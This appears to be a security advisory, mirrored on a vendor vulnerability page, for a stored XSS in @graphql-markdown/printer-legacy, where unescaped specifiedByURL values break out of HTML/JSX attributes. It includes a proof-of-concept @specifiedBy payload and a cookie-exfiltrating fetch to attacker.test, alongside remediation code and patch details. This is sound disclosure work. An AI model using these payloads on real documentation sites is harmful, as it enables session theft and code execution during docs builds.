GHSA-f7q8-26cc-xx7r: 
JavaScript Analyse et atténuation de la vulnérabilité

Stored XSS in @graphql-markdown/printer-legacy: scalar specifiedByURL is interpolated into MDX/HTML attributes without escaping

Report metadata

FieldValue
Package@graphql-markdown/printer-legacy (npm, pkg:npm/%40graphql-markdown/printer-legacy)
Repositoryhttps://github.com/graphql-markdown/graphql-markdown
ComponentprintSpecification (packages/printer-legacy/src/graphql/scalar.ts)
Vulnerability classStored XSS / MDX attribute and element injection
CWECWE-79
Severity (reporter assessment)High
Affected versions<= 1.17.0 (unfixed upstream at time of writing)
Verified againstSource at 5e2234e8f7c983f90b3b75a783c04187b11df7b7; published npm artifact 1.17.0 (corresponds to repo commit 35c3685d)
API surfacePublic documented API — Printer.printType
Affected in default configurationYes — the stock formatter (packages/formatters/src/defaults.ts) is the default and performs the unescaped interpolation; no non-standard Printer flags are required
CVE / GHSANone assigned (unknown)

Summary

printSpecification reads GraphQLScalarType.specifiedByURL — a value that comes straight from the GraphQL schema handed to the printer — and passes it unchanged to options.formatMDXSpecifiedByLink. The stock formatter interpolates that string twice into HTML attributes (href and title), and the Docusaurus formatter interpolates it into a JSX attribute (<SpecifiedBy url="${url}"/>). There is no URL parsing, scheme allow-listing, or attribute encoding anywhere between the schema value and the emitted markup; the only check on the value is typeof string. A schema author (or anyone who controls a remotely loaded schema) can therefore put quotes and MDX metacharacters in @specifiedBy(url: ...) and break out of the attribute, adding arbitrary elements and event handlers to the generated scalar documentation page. In a consuming application this means the party who supplies the schema — remote introspection endpoint, partner/third-party SDL, user-submitted schema in a docs pipeline — gains script execution on the published documentation site, and, with the MDX pipeline, code execution during the docs build. Both formatter paths reached from this value are unsafe:

  • stock formatter href/title interpolation -> unsafe, packages/formatters/src/defaults.ts:119-121
  • Docusaurus formatter <SpecifiedBy url="${url}"/> -> unsafe, packages/formatters/src/docusaurus/index.ts:115-117
  • safe sibling handling of the same value elsewhere in these files -> not verified (no escaped sibling path was identified)

Impact

An attacker who influences the documented schema gains script execution in the browser of every visitor to the published documentation site, in that site's origin and with that visitor's session — the classic stored-XSS consequence set (session/cookie theft, authenticated actions against the docs origin, page defacement). With the Docusaurus/MDX path the injected expression is also evaluated at build time by the MDX compiler, which is code execution inside the documentation build, not only in the visitor's browser. The new capability is specific: without this bug, a schema author controls only the target of a specification link that the page renders. With it, they control the surrounding markup — arbitrary attributes, event handlers, and new JSX elements on a page that the documentation site owner publishes under their own domain. Scoring note: this report does not carry a CVSS vector — no vector or numeric score was produced for this finding, and exploitability depends on the consuming application's data flow (specifically, on whether the schema being documented is trusted). Consumers that document only first-party schemas they fully control, and consumers whose schemas contain no @specifiedBy scalars, are not exposed in practice; consumers that document remote, partner, or user-supplied schemas are.

Preconditions

  1. The consuming application documents a GraphQL schema whose contents an attacker can influence — remote introspection, partner/third-party SDL, or a user-supplied schema in a docs pipeline. Remote, URL-loaded schemas are a documented usage mode (docs/advanced/schema-loading.md).
  2. The schema contains a scalar carrying @specifiedBy(url: ...). GraphQL applies no validation to that argument beyond it being a String, and this package only checks typeof string.
  3. A scalar type is printed through the public entry point Printer.printType, which reaches printScalarMetadata -> printSpecification for scalars.
  4. The generated output is rendered as HTML/MDX and published — i.e. the normal outcome of running the generator. This requires no non-standard usage, monkey-patching, or unusual configuration: the default formatter is affected and no special Printer flags are needed. packages/printer-legacy/docs/graphql/scalar.md documents that scalar metadata prints the specification URL, and the schema-loading docs describe remote schemas; neither documents a trust requirement on the schema, and the behaviour is not documented as the caller's responsibility.

Data flow

  1. Source — the attacker-influenced value is read off the scalar type: const url = type.specifiedByURL; (packages/printer-legacy/src/graphql/scalar.ts:24-33).
  2. Propagation — it is handed to the formatter unchanged, with no validation or encoding in between (packages/printer-legacy/src/graphql/scalar.ts:35-37).
  3. Sink — the stock formatter interpolates it into href and title attributes: href="${url}" (packages/formatters/src/defaults.ts:119-121); the Docusaurus formatter interpolates it into a JSX attribute: <SpecifiedBy url="${url}"/> (packages/formatters/src/docusaurus/index.ts:115-117).
  4. Reachability — printScalarMetadata calls printSpecification (packages/printer-legacy/src/graphql/scalar.ts:48-52), the metadata dispatch in Printer.printTypeMetadata routes scalars there (packages/printer-legacy/src/printer.ts:461-481), and Printer.printType composes that metadata section into the page (packages/printer-legacy/src/printer.ts:609). The main generator reaches the same entry point: @graphql-markdown/core@1.22.0 calls printer.printType in its renderer (renderer.js:518 in the published artifact). Please note the source comment on printSpecification stating it is "used only by unit tests; not part of the production public API". That comment is inaccurate: the call chain above is the production documentation pipeline, and the reproduction below drives it through the public Printer.printType.

Vulnerable code

packages/printer-legacy/src/graphql/scalar.ts, lines 20-38 at 5e2234e8f7c983f90b3b75a783c04187b11df7b7:

const url = type.specifiedByURL;
return {
  title: options.formatMDXSpecifiedByLink!(url),   // sink: raw schema string reaches the formatter
  level: 3,
};

The formatter side, where the string lands in markup, is packages/formatters/src/defaults.ts:119-121 (href="${url}" plus the same value in title) and packages/formatters/src/docusaurus/index.ts:115-117 (<SpecifiedBy url="${url}"/>). No escaping or URL validation occurs at either site.

Reproduction

Verified dynamically against the published npm artifact @graphql-markdown/printer-legacy@1.17.0 (tarball from registry.npmjs.org) with release-matched siblings @graphql-markdown/formatters@1.1.0, @graphql-markdown/graphql@1.2.5, @graphql-markdown/utils@1.13.0, @graphql-markdown/types@1.14.0, and graphql@16.14.2. Steps:

  1. Build a GraphQL schema containing a scalar with a quote-breaking @specifiedBy URL.
  2. Call Printer.init(schema), then Printer.printType('Evil', scalar).
  3. Render the returned MDX and inspect the emitted markup.
import { buildSchema } from 'graphql';
import { Printer } from '@graphql-markdown/printer-legacy';
const schema = buildSchema('scalar Evil @specifiedBy(url: "\\"/><img src=\\"x\\" onError={() => alert(document.domain)} /><a href=\\"")');
await Printer.init(schema);
console.log(await Printer.printType('Evil', schema.getType('Evil')));

Observed during verification:

  • graphql-js applies no validation to @specifiedBy(url:), and the payload survives the realistic remote-delivery path byte-for-byte: introspectionFromSchema -> buildClientSchema preserved it intact.
  • Rendering the generated page with a real Markdown renderer (raw-HTML passthrough, as used by the mkdocs/hugo/honkit/mdbook/docfx presets that reuse the stock formatter) and parsing the output produced a genuine injected event-handler attribute on the anchor: onmouseover="fetch(\https://attacker.test/${document.cookie}\`)"` — stored XSS in the published page.
  • On the Docusaurus path, parsing the emitted JSX showed attacker-added props (a JSXExpressionContainer), and compiling the generated MDX with the MDX compiler plus server-side React rendering executed the attacker expression (a sentinel global was set; the control render left it undefined). A second payload achieved full element breakout: it closed <SpecifiedBy/>, injected a new element whose expression evaluated, and rendered it into the page — arbitrary JSX/code execution during the docs build.
  • Version range: 1.15.0's bundled formatter contains the identical unescaped interpolation, and current main (1.18.0, unreleased) still interpolates without escaping, so <= 1.17.0 is affected and the issue is unfixed upstream.
  • Expected: a specifiedBy URL containing quotes or MDX metacharacters is rejected, or encoded as text inside a safe link attribute.
  • Actual: the string is emitted verbatim into href/title (and into the JSX url prop), allowing attribute breakout, injected event handlers, and injected JSX elements.

Suggested remediation

Treat specifiedByURL as untrusted input: validate it as a URL with an allow-listed scheme before use, and encode it for the attribute context it is interpolated into (or have the formatters pass it as a safely encoded prop rather than string-splicing it).

const ALLOWED_PROTOCOLS = new Set(["http:", "https:"]);
const url = type.specifiedByURL;
let safeURL: string | undefined = undefined;
try {
  const parsed = new URL(url);
  if (ALLOWED_PROTOCOLS.has(parsed.protocol)) {
    safeURL = parsed.toString();
  }
} catch {
  safeURL = undefined;
}
if (typeof safeURL !== "string") {
  return undefined; // match whatever "no specification section" shape this function already returns
}
return {
  title: options.formatMDXSpecifiedByLink!(safeURL),
  level: 3,
};

A defence-in-depth second edit, in the formatters' own idiom, is to attribute-encode at the interpolation sites rather than relying on every caller: escape ", ', <, >, & in packages/formatters/src/defaults.ts:119-121, and escape or reject ", {, } in the Docusaurus <SpecifiedBy url="${url}"/> interpolation at packages/formatters/src/docusaurus/index.ts:115-117. Notes:

  • The existing check on the value is a typeof string test only; it is a type guard, not a security control, and should not be relied on for this.
  • Both formatter paths reached from this value are affected — the stock formatter (used by the mkdocs/hugo/honkit/mdbook/docfx presets) and the Docusaurus formatter. The Docusaurus/MDX path is the more severe of the two, because the injected expression also runs at build time.
  • The source comment claiming printSpecification is test-only is worth correcting in the same change; it is reachable from Printer.printType and from the main generator, and the comment invites the fix to be deprioritised.
  • Paths that do not carry a schema-controlled string into an attribute need no change here; the fix can stay scoped to this value and its two interpolation sites. Suggested regression test alongside the existing printer-legacy scalar unit tests (exact spec path not verified): assert that a scalar whose @specifiedBy URL contains ", <, >, {, } — for example "/><img src="x" onError={...} /><a href=" — yields output in which the value is encoded or the specification section is omitted, and in which no additional element or attribute appears in the parsed markup. Add the equivalent assertion for the Docusaurus formatter so the JSX prop cannot gain extra props or close its own element.

Maintainer notes

Scope confirmed on main (96c28b8a). This advisory also covers two duplicate reports of the same root cause, GHSA-2w67-98j2-r786 and GHSA-pm35-rm7r-xj4q. The scalar's specifiedByURL reaches formatMDXSpecifiedByLink unchanged, and the formatters write it into markup without encoding it:

  • @graphql-markdown/formatters shared defaults (packages/formatters/src/defaults.ts): written raw into the href and title attributes. Used by the default formatter and the mdx, starlight, fumadocs, vocs, docfx, hugo and mdbook presets.
  • @graphql-markdown/formatters/docusaurus, re-exported as @graphql-markdown/docusaurus/mdx, the Docusaurus plugin's default: written raw into <SpecifiedBy url="…"/>.
  • The mkdocs and honkit presets output a plain Markdown link or plain text. A " cannot break out there, but any URL scheme (for example javascript:) is accepted. Fix. printSpecification in @graphql-markdown/printer-legacy will accept only absolute http:/https: URLs; any other value prints no specification link. As a second layer, each built-in formatter will encode the URL for the context it writes it into, so custom formatters calling them stay safe. Patched versions: @graphql-markdown/printer-legacy 1.20.0, @graphql-markdown/formatters 1.2.3, @graphql-markdown/docusaurus 1.39.3. Workaround until you upgrade: only generate docs from schemas you trust, or supply a custom formatter whose formatMDXSpecifiedByLink validates and encodes the URL.

Source: NVD

Connexe JavaScript Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-x2g8-7ch4-h792HIGH8.9
  • JavaScript logoJavaScript
  • @graphql-markdown/core
NonOuiNov 18, 2026
GHSA-f7q8-26cc-xx7rHIGH8.9
  • JavaScript logoJavaScript
  • @graphql-markdown/docusaurus
NonOuiNov 18, 2026
GHSA-8r4f-p963-7296HIGH8.9
  • JavaScript logoJavaScript
  • @graphql-markdown/graphql
NonOuiNov 18, 2026
GHSA-6m8m-x9vx-3f84HIGH7.9
  • JavaScript logoJavaScript
  • @graphql-markdown/docusaurus
NonOuiNov 18, 2026
GHSA-4rq7-f537-x35qHIGH7.8
  • JavaScript logoJavaScript
  • systeminformation
NonOuiNov 18, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités